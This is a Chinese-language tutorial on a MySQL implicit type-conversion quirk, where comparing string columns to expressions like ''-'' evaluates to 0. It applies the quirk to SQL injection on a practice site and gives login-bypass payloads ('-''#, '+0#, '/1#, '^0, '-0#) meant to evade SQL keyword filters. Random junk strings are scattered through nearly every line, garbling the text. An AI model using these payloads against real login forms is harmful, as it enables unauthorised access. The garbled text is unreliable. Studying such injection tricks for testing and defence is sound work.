我们先来看这样一个场景。% A6 _; B8 f$ C) X, }4 L0 x2 _0 y
有以下表结构: 3 d0 O% M6 n" b, D3 Y" G
, ~9 V- ?9 L. V3 b/ M! cmysql> desc admin;
+ ?1 F( H+ E: Z- _+----------+--------------+------+-----+---------+----------------+1 s2 q1 H1 ~2 _/ v' q* e- O; h- O
| Field | Type | Null | Key | Default | Extra |: L# @5 T8 `) m
+----------+--------------+------+-----+---------+----------------+
; x& L' F* `* ` R5 D7 _$ O| id | mediumint(9) | NO | PRI | NULL | auto_increment |
* r% R9 d6 G3 E3 {" s( s+ L| name | char(32) | NO | UNI | NULL | |
8 B Z6 Y0 Q& v5 H; H; Z! k* m| password | char(32) | NO | UNI | NULL | |
& c E: x/ E$ U1 P+ @9 _+----------+--------------+------+-----+---------+----------------+
g5 [; [/ K/ `! g. ^6 B3 rows in set (0.00 sec)
+ {( V8 [4 S9 @6 X/ v' u) {7 t执行select * from admin;,成功返回所有记录内容。0 ^: t9 B4 I, Z
& a" {" t/ C7 l& u: w5 X2 B5 g, t" C
+----+--------+----------------------------------+. M& \! ]% U; h3 Z
| id | name | password |" @: H( W" q1 r j8 k+ X/ T
+----+--------+----------------------------------+
" @$ ^8 X5 W: k% q. V| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
; q7 r# p- r& G* p. d| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
0 I8 ~& R& j% {: |9 z5 M+ V# J| 4 | n00b | ff80e8508d39047460921792273533a4 |
3 {1 V% R0 O7 m+ u- `1 G. M+----+--------+----------------------------------+
# [7 L- r. S4 H- p' }. b9 O3 rows in set (0.00 sec)
* A' a7 F5 o/ r+ D执行select * from admin where name=”;,没有匹配到任何记录。 ' z1 l; I- n2 F8 n" y
* M- B g- X" q+ ^) F" q O7 pmysql> select * from admin where name = '';& x5 Q& {6 A6 { d3 K
Empty set (0.00 sec)" V; ]; v: g( Z9 A6 A- f5 z
那么我们来执行select * from admin where name = ”-”;
) M" E( y# y1 S0 A6 h# ?2 H! @
# t. x: D+ u6 \" n) T7 m. C" _3 r0 v. a5 P; o7 A S
+----+--------+----------------------------------+7 M1 Y: c% U# x z
| id | name | password |
: t. O' q' H% a. t% A+----+--------+----------------------------------+
, w2 d' t( d- S$ ~| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |3 @: l: {# m9 l [- v" p
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |: @ Z: C/ D: g8 Z6 s+ W
| 4 | n00b | ff80e8508d39047460921792273533a4 |# p9 c0 E) A Q: o$ i, o) U/ Z
+----+--------+----------------------------------+
* v2 Z' A4 g- e2 v; O& M& J3 rows in set, 3 warnings (0.00 sec)# z# K3 [( i) a, Z& {" q
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: ' M' B( }3 M C" `9 K
' h# V! [" V& A- r% Z" K
mysql> show warnings;
* H& r) m& K8 v$ o0 y: H+---------+------+------------------------------------------" p( H8 Q3 a/ x4 C1 K# X
| Level | Code | Message
0 p& I! ^/ q% ^+---------+------+------------------------------------------
. H$ ?' L# N. I3 q9 Z| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin9 m+ C& q4 w* m5 B* d4 {7 P
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
) q; H+ O/ s1 q( Z- E% B| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b7 P$ g9 m( E; W- m; ~
+---------+------+------------------------------------------% m& t) o2 O% b! z
3 rows in set (0.00 sec)
9 L% J4 \% ]: E6 I: c* S) f) y提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
! f0 _3 |% [, b9 |! x2 `7 _" a9 m, U5 b7 h6 w; R
mysql> select ''-'';/ u# M' j" O n
+-------+
) s* I, W. ]+ O+ v/ S| ''-'' |- l! a' m* A+ N% S3 b! B
+-------+
$ b) L9 `$ l+ n' P2 A9 C| 0 |
" Z+ c- s: k- w, H( K% V+-------+
4 {% J6 V$ p8 m- \- k7 C1 row in set (0.00 sec)
( E6 x$ M7 Y2 A, b% A3 q) Q返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: 4 v) X z4 l2 y8 _6 {) d6 n6 W
! f r4 G' j! \9 X
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);
# Q- n* Y. I1 z" Y1 R9 ~5 |* o" Z+-----------------------------------------------------+* v6 ?3 W+ [* Y7 ]6 W0 `$ b& m
| CAST((select name from admin limit 1,1) as DECIMAL) |
/ K; W% y' j- \ U+-----------------------------------------------------+
' v8 i% o$ K6 }9 I$ s" m| 0 |! l$ u g8 C5 y* Q) X0 l( z
+-----------------------------------------------------+9 x9 D5 t6 ]# K+ e" w0 k7 v
1 row in set, 1 warning (0.00 sec)2 y; e* Z# a) _8 O/ K; }
因此where语句构成了相等的条件,where 0=”=”,记录被返回。 + ]: [- K: P& h L# C
: U$ L$ T" _3 f* C" t- q6 B# i
SQL注入场景: http://www.sqlzoo.net/hack/ 9 |+ @% e" d4 K/ v: Y
/ @ M3 L3 w e y' G( P
( [) K! a; W# @) y; E y* A+ R3 x% `2 O/ A
7 O: K, `+ F/ d# I O; d" g7 x如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 / |9 D9 D* j6 {4 D( u' I% w2 s7 A
) r. C6 n. l4 X那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
: j( y, Z" S" a8 O3 A0 E
[ H6 N" \0 i. e# S6 ^+ S$ g0 m' K6 @4 }# V! N+ ^7 c
& u" E q* C; Z F( i2 Q7 }( Z/ a! | [( u( M. e' ]
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 " V& s/ @# n" [: ]* n# S
' d, N* S0 |+ o. y `1 U: \1 ]
# l n! p- s5 v! k" R1 ^
0 A, V5 L# j# U1 k8 V除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
) ] N8 \- C u7 W. E! V3 r0 [8 w/ o
) a6 [# u' c. y5 G" {0 E4 q! A
7 H f4 n4 d% P1 ]mysql> select ''/1;+ v' D3 c3 ?2 | o4 z
+------+
: h# {/ O3 T1 F| ''/1 |) E/ B5 m, C7 U' M
+------+' \, ?" S0 n. I8 \/ I/ X
| 0 |
3 ~6 S+ s' P0 h1 d8 X+------+
% S" U; l% J, \, u3 s1 row in set (0.00 sec)2 `6 Y/ O) U% b3 n# R; m: b4 N
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 & }. ~1 s; O& Q
4 N# y2 A+ X% L
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
9 ~0 M7 O |1 w- ` |
|